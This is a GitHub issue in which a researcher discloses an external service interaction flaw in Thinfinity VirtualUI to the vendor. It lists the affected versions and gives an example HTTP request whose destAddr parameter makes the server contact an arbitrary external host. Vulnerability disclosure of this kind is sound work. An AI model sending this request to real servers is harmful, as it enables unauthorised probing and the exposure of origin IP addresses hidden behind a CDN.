Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vulnerability - External Service Interaction #3

Open
danielmofer opened this issue Jan 11, 2022 · 1 comment
Open

Vulnerability - External Service Interaction #3

danielmofer opened this issue Jan 11, 2022 · 1 comment

Comments

@danielmofer
Copy link

Dear Cybele Software,

My name is Daniel Morales.

I have found a vulnerability in Thinfinity VirtualUI that could allow a malicious actor to trigger a server-side request to external endpoints.

Summary

External service interaction arises when it is possible to induce an application to interact with an arbitrary external service.
The ability to send requests to other systems can allow the vulnerable server to filtrate the real IP of the webserver or increase the attack surface (it may be used also to filtrate the real IP behind a CDN)

Payload

An example of the HTTP request "https://example.com/cmd?
cmd=connect&wscompression=true&destAddr=domain.com
&scraper=fmx&screenWidth=1918&screenHeight=934&fitmode=0&argumentsp=&orientation=0&browserWidth=191
8&browserHeight=872&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supp
ortsFullScreen=true&webapp=false" where "domain.com" is the external endpoint to be requested.

Vulnerable versions

It has been tested in VirtualUI version 2.1.28.0, 2.1.32.1 and 2.5.26.2

@danielmofer
Copy link
Author

Could you tell in which version is it fixed?
Thanks in advance.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant